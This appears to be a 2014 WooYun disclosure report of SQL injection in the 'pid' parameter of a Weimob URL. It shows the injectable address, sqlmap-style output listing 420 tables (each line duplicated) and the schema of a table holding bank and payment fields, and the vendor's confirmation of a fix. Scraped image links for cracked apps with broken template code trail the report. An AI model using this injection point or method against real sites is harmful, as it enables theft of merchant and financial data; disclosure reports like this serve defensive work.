2014-05-03：细节已通知厂商并且等待厂商处理中
2014-05-04：厂商已经确认，细节仅向厂商公开
2014-05-14：细节向核心白帽子及相关领域专家公开
2014-05-24：细节向普通白帽子公开
2014-06-03：细节向实习白帽子公开
2014-06-17：细节向公众公开
#1.微盟一个比较主要的地方存在SQL注入。
www.weimob.com/snsmobile?id=1472&v=555c3efd5c1f6c44004dda76628f25f9&pid=95967&wechat_id=fromUsername
注入参数：
pid
大量数据库，可跨裤查询，危害与" WooYun: 国内某微信营销平台管理系统存在漏洞（几十万商家账户信息、财务、报表等数据不保） "一致
#2.最主要的数据库，420个表：
Database: d_wm_wechat
[420 tables]
+---------------------------------------+
| funds_bill |
| funds_bill |
| t_wm_activity_sncode |
| t_wm_activity_sncode |
| t_wm_activity_users |
| t_wm_activity_users |
| t_wm_admin |
| t_wm_admin |
| t_wm_agent |
| t_wm_agent |
| t_wm_albums |
| t_wm_albums |
| t_wm_albums_pic |
| t_wm_albums_pic |
| t_wm_announce |
| t_wm_announce |
| t_wm_app_config |
| t_wm_app_config |
| t_wm_big_wheel |
| t_wm_big_wheel |
| t_wm_bindlog |
| t_wm_bindlog |
| t_wm_business |
| t_wm_business |
| t_wm_busness_login_log |
| t_wm_busness_login_log |
| t_wm_car_brand |
| t_wm_car_brand |
| t_wm_car_case |
| t_wm_car_case |
| t_wm_car_case_custom |
| t_wm_car_case_custom |
| t_wm_car_model |
| t_wm_car_model |
| t_wm_car_picfull |
| t_wm_car_picfull |
| t_wm_car_reserve |
| t_wm_car_reserve |
| t_wm_car_reserve_custom |
| t_wm_car_reserve_custom |
| t_wm_car_sell |
| t_wm_car_sell |
| t_wm_car_series |
| t_wm_car_series |
| t_wm_car_set |
| t_wm_car_set |
| t_wm_car_tool |
| t_wm_car_tool |
| t_wm_card_info |
| t_wm_card_info |
| t_wm_card_manager |
| t_wm_card_manager |
| t_wm_cardcare |
| t_wm_cardcare |
| t_wm_cardsent |
| t_wm_cardsent |
| t_wm_channel |
| t_wm_channel |
| t_wm_channel_type |
| t_wm_channel_type |
| t_wm_consume |
| t_wm_consume |
| t_wm_coupons |
| t_wm_coupons |
| t_wm_current_city_region |
| t_wm_current_city_region |
| t_wm_custom_keyword |
| t_wm_custom_keyword |
| t_wm_custom_menu |
| t_wm_custom_menu |
| t_wm_custom_reply_lbs |
| t_wm_custom_reply_lbs |
| t_wm_custom_reply_music |
| t_wm_custom_reply_music |
| t_wm_custom_reply_news |
| t_wm_custom_reply_news |
| t_wm_custom_reply_text |
| t_wm_custom_reply_text |
| t_wm_email_log |
| t_wm_email_log |
| t_wm_email_send_queue |
| t_wm_email_send_queue |
| t_wm_estate_album |
| t_wm_estate_album |
| t_wm_estate_category |
| t_wm_estate_category |
| t_wm_estate_expert |
| t_wm_estate_expert |
| t_wm_estate_house |
| t_wm_estate_house |
| t_wm_estate_impress_system |
| t_wm_estate_impress_system |
| t_wm_estate_impress_user |
| t_wm_estate_impress_user |
| t_wm_estate_picfull |
| t_wm_estate_picfull |
| t_wm_estate_set |
| t_wm_estate_set |
| t_wm_exam |
| t_wm_exam |
| t_wm_exam_question |
| t_wm_exam_question |
| t_wm_exam_sncode |
| t_wm_exam_sncode |
| t_wm_exam_test |
| t_wm_exam_test |
| t_wm_exam_users |
| t_wm_exam_users |
| t_wm_exam_users_logs |
| t_wm_exam_users_logs |
| t_wm_festival_activity |
| t_wm_festival_activity |
| t_wm_festival_user |
| t_wm_festival_user |
| t_wm_food_class |
| t_wm_food_class |
| t_wm_food_combo |
| t_wm_food_combo |
| t_wm_food_dishes |
| t_wm_food_dishes |
| t_wm_food_like |
| t_wm_food_like |
| t_wm_food_order |
| t_wm_food_order |
| t_wm_food_table |
| t_wm_food_table |
| t_wm_food_tags |
| t_wm_food_tags |
| t_wm_grade |
| t_wm_grade |
| t_wm_hotel |
| t_wm_hotel |
| t_wm_hotel_order |
| t_wm_hotel_order |
| t_wm_hotel_room |
| t_wm_hotel_room |
| t_wm_invite_code |
| t_wm_invite_code |
| t_wm_ip |
| t_wm_ip |
| t_wm_log_member_coupons |
| t_wm_log_member_coupons |
| t_wm_logskeyword |
| t_wm_logskeyword |
| t_wm_logsscore |
| t_wm_logsscore |
| t_wm_lotteryticket |
| t_wm_lotteryticket |
| t_wm_market |
| t_wm_market |
| t_wm_market_business_base |
| t_wm_market_business_base |
| t_wm_market_business_info |
| t_wm_market_business_info |
| t_wm_market_business_privilege |
| t_wm_market_business_privilege |
| t_wm_market_business_shop |
| t_wm_market_business_shop |
| t_wm_market_business_tiny |
| t_wm_market_business_tiny |
| t_wm_market_business_vip |
| t_wm_market_business_vip |
| t_wm_market_class |
| t_wm_market_class |
| t_wm_market_member |
| t_wm_market_member |
| t_wm_mcard |
| t_wm_mcard |
| t_wm_mcardreceive |
| t_wm_mcardreceive |
| t_wm_mconsumption |
| t_wm_mconsumption |
| t_wm_media_reports |
| t_wm_media_reports |
| t_wm_member_coupon |
| t_wm_member_coupon |
| t_wm_member_gift |
| t_wm_member_gift |
| t_wm_member_marketing_activity |
| t_wm_member_marketing_activity |
| t_wm_member_program |
| t_wm_member_program |
| t_wm_member_recharge |
| t_wm_member_recharge |
| t_wm_membercard |
| t_wm_membercard |
| t_wm_message |
| t_wm_message |
| t_wm_message_black |
| t_wm_message_black |
| t_wm_message_config |
| t_wm_message_config |
| t_wm_mprivileges |
| t_wm_mprivileges |
| t_wm_new_member |
| t_wm_new_member |
| t_wm_new_member_address |
| t_wm_new_member_address |
| t_wm_new_member_announce |
| t_wm_new_member_announce |
| t_wm_new_member_announce_view |
| t_wm_new_member_announce_view |
| t_wm_new_member_bill |
| t_wm_new_member_bill |
| t_wm_new_member_card |
| t_wm_new_member_card |
| t_wm_new_member_card_coupon |
| t_wm_new_member_card_coupon |
| t_wm_new_member_card_gift |
| t_wm_new_member_card_gift |
| t_wm_new_member_card_recharge |
| t_wm_new_member_card_recharge |
| t_wm_new_member_cardsent |
| t_wm_new_member_cardsent |
| t_wm_new_member_consume_activities |
| t_wm_new_member_consume_activities |
| t_wm_new_member_consume_log |
| t_wm_new_member_consume_log |
| t_wm_new_member_coupon |
| t_wm_new_member_coupon |
| t_wm_new_member_customer_care |
| t_wm_new_member_customer_care |
| t_wm_new_member_define_field |
| t_wm_new_member_define_field |
| t_wm_new_member_define_info |
| t_wm_new_member_define_info |
| t_wm_new_member_entity |
| t_wm_new_member_entity |
| t_wm_new_member_grade |
| t_wm_new_member_grade |
| t_wm_new_member_integral_exchange |
| t_wm_new_member_integral_exchange |
| t_wm_new_member_integral_exchange_log |
| t_wm_new_member_integral_exchange_log |
| t_wm_new_member_messages |
| t_wm_new_member_messages |
| t_wm_new_member_number |
| t_wm_new_member_number |
| t_wm_new_member_privilege |
| t_wm_new_member_privilege |
| t_wm_new_member_recharge_activities |
| t_wm_new_member_recharge_activities |
| t_wm_new_member_recommend |
| t_wm_new_member_recommend |
| t_wm_new_member_score |
| t_wm_new_member_score |
| t_wm_new_member_score_log |
| t_wm_new_member_score_log |
| t_wm_new_member_system_field |
| t_wm_new_member_system_field |
| t_wm_new_receive_coupon |
| t_wm_new_receive_coupon |
| t_wm_notice |
| t_wm_notice |
| t_wm_order_items |
| t_wm_order_items |
| t_wm_outside_link |
| t_wm_outside_link |
| t_wm_panorama |
| t_wm_panorama |
| t_wm_panorama_picture |
| t_wm_panorama_picture |
| t_wm_payment_cfg |
| t_wm_payment_cfg |
| t_wm_payment_sequence |
| t_wm_payment_sequence |
| t_wm_plcaccount |
| t_wm_plcaccount |
| t_wm_privilege_config |
| t_wm_privilege_config |
| t_wm_privilege_role |
| t_wm_privilege_role |
| t_wm_question_cat |
| t_wm_question_cat |
| t_wm_questions |
| t_wm_questions |
| t_wm_reg_config |
| t_wm_reg_config |
| t_wm_reg_customer |
| t_wm_reg_customer |
| t_wm_region |
| t_wm_region |
| t_wm_register |
| t_wm_register |
| t_wm_related_question_cat |
| t_wm_related_question_cat |
| t_wm_reserve |
| t_wm_reserve |
| t_wm_reserve_custom |
| t_wm_reserve_custom |
| t_wm_score |
| t_wm_score |
| t_wm_scratch_card |
| t_wm_scratch_card |
| t_wm_service |
| t_wm_service |
| t_wm_service_config |
| t_wm_service_config |
| t_wm_service_custom |
| t_wm_service_custom |
| t_wm_service_sms |
| t_wm_service_sms |
| t_wm_smash_egg |
| t_wm_smash_egg |
| t_wm_smash_egg_sncode |
| t_wm_smash_egg_sncode |
| t_wm_smashegg_users |
| t_wm_smashegg_users |
| t_wm_sms_history |
| t_wm_sms_history |
| t_wm_sms_log |
| t_wm_sms_log |
| t_wm_spoutlet |
| t_wm_spoutlet |
| t_wm_spoutlet_domain |
| t_wm_spoutlet_domain |
| t_wm_store |
| t_wm_store |
| t_wm_survey |
| t_wm_survey |
| t_wm_survey_options |
| t_wm_survey_options |
| t_wm_survey_userinfo |
| t_wm_survey_userinfo |
| t_wm_survey_useroption |
| t_wm_survey_useroption |
| t_wm_tg_eticket |
| t_wm_tg_eticket |
| t_wm_tg_funds_bill |
| t_wm_tg_funds_bill |
| t_wm_tg_goods |
| t_wm_tg_goods |
| t_wm_tg_goods_attribute |
| t_wm_tg_goods_attribute |
| t_wm_tg_goods_attribute_detail |
| t_wm_tg_goods_attribute_detail |
| t_wm_tg_goods_picture |
| t_wm_tg_goods_picture |
| t_wm_tg_goods_store_related |
| t_wm_tg_goods_store_related |
| t_wm_tg_order |
| t_wm_tg_order |
| t_wm_tg_order_delivery |
| t_wm_tg_order_delivery |
| t_wm_tg_order_delivery_detail |
| t_wm_tg_order_delivery_detail |
| t_wm_tg_order_item |
| t_wm_tg_order_item |
| t_wm_tg_order_refund |
| t_wm_tg_order_refund |
| t_wm_tg_order_refund_detail |
| t_wm_tg_order_refund_detail |
| t_wm_tg_product |
| t_wm_tg_product |
| t_wm_tg_send_sms |
| t_wm_tg_send_sms |
| t_wm_tg_user |
| t_wm_tg_user |
| t_wm_tg_user_address |
| t_wm_tg_user_address |
| t_wm_user |
| t_wm_user |
| t_wm_vote |
| t_wm_vote |
| t_wm_vote_options |
| t_wm_vote_options |
| t_wm_vote_user |
| t_wm_vote_user |
| t_wm_wall |
| t_wm_wall |
| t_wm_wall_bigwheel |
| t_wm_wall_bigwheel |
| t_wm_wall_content |
| t_wm_wall_content |
| t_wm_wall_lottery |
| t_wm_wall_lottery |
| t_wm_wall_photo |
| t_wm_wall_photo |
| t_wm_wall_race |
| t_wm_wall_race |
| t_wm_wall_race_log |
| t_wm_wall_race_log |
| t_wm_wall_user |
| t_wm_wall_user |
| t_wm_wall_vote |
| t_wm_wall_vote |
| t_wm_wall_winner |
| t_wm_wall_winner |
| t_wm_web_desktop_menus |
| t_wm_web_desktop_menus |
| t_wm_webclass |
| t_wm_webclass |
| t_wm_webconfig |
| t_wm_webconfig |
| t_wm_webmenu |
| t_wm_webmenu |
| t_wm_webplugmenu |
| t_wm_webplugmenu |
| t_wm_webslide |
| t_wm_webslide |
| t_wm_weimobpay_logs |
| t_wm_weimobpay_logs |
| t_wm_weimobpay_open_minded |
| t_wm_weimobpay_open_minded |
| t_wm_weimobpay_open_minded_detail |
| t_wm_weimobpay_open_minded_detail |
| t_wm_weimobpay_payment_cfg |
| t_wm_weimobpay_payment_cfg |
| t_wm_weimobpay_sequence |
| t_wm_weimobpay_sequence |
| t_wm_weimobpay_withdrawal |
| t_wm_weimobpay_withdrawal |
| t_wm_weimobpay_withdrawal_detail |
| t_wm_weimobpay_withdrawal_detail |
| t_wm_wp_device |
| t_wm_wp_device |
| t_wm_yldaccount |
| t_wm_yldaccount |
| v_wm_shop_auth |
| v_wm_shop_auth |
+---------------------------------------+漏洞证明：
#3.由于表太多太多，为了证明其危害性，表里的数据就不一一查看了这里给小小翻译一下表的含义，即大概存储的内容：
从对表名称简单百度翻译一下就知道存储了多少重要信息（百度翻译不是很准确）
随便一个看看~
Table: funds_bill
[21 columns]
+-------------------+----------------------+
| Column | Type |
+-------------------+----------------------+
| admin_user_id | int(10) unsigned |
| admin_user_name | varchar(30) |
| amount | decimal(10,2) |
| bank | varchar(100) |
| bank_account | varchar(100) |
| created_time | timestamp |
| currency | varchar(10) |
| id | int(10) unsigned |
| memo | text |
| order_id | int(10) unsigned |
| order_sn | varchar(50) |
| pay_account | varchar(100) |
| pay_bank | varchar(100) |
| pay_sub_bank | varchar(100) |
| payment_type_id | smallint(5) unsigned |
| payment_type_name | varchar(100) |
| status | tinyint(1) unsigned |
| third_id | varchar(255) |
| update_time | timestamp |
| user_id | int(10) unsigned |
| user_name | varchar(50) |
+-------------------+----------------------+
再翻译一下，真恐怖，咱们还是不能去dump的。
#4.各种管理员帐号密码，解密要收费啊，解密之后可如后台进行商家管理，操作如： WooYun: 国内某微信营销平台管理系统存在漏洞（几十万商家账户信息、财务、报表等数据不保）
PS：乌云的审核制度认为影响极大的予以将漏洞走大厂商流程（前台显示），如果只证明存在sql注射则会被定为小厂商，1/5的rank，所以为了证明其危害性极大，找了大半天表想翻出一点敏感信息来证明其危害性，所以才有了上文说到的存在敏感信息，但本人未脱裤，未对数据库做任何恶意操作，未进行增删查改下载等恶意性操作，对注射出的信息都已经删除未保留，白帽子不会做违背道德的事情的，切勿跨省，请您放心修补漏洞。另请希望给以20rank。
版权声明：转载请注明来源 U神@乌云 漏洞回应 厂商回应：危害等级：高
漏洞Rank：20
确认时间：2014-05-04 22:05
厂商回复：感谢你对系统提出宝贵意见，漏洞已修复
最新状态：暂无
版权与免责声明：
凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；
![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)
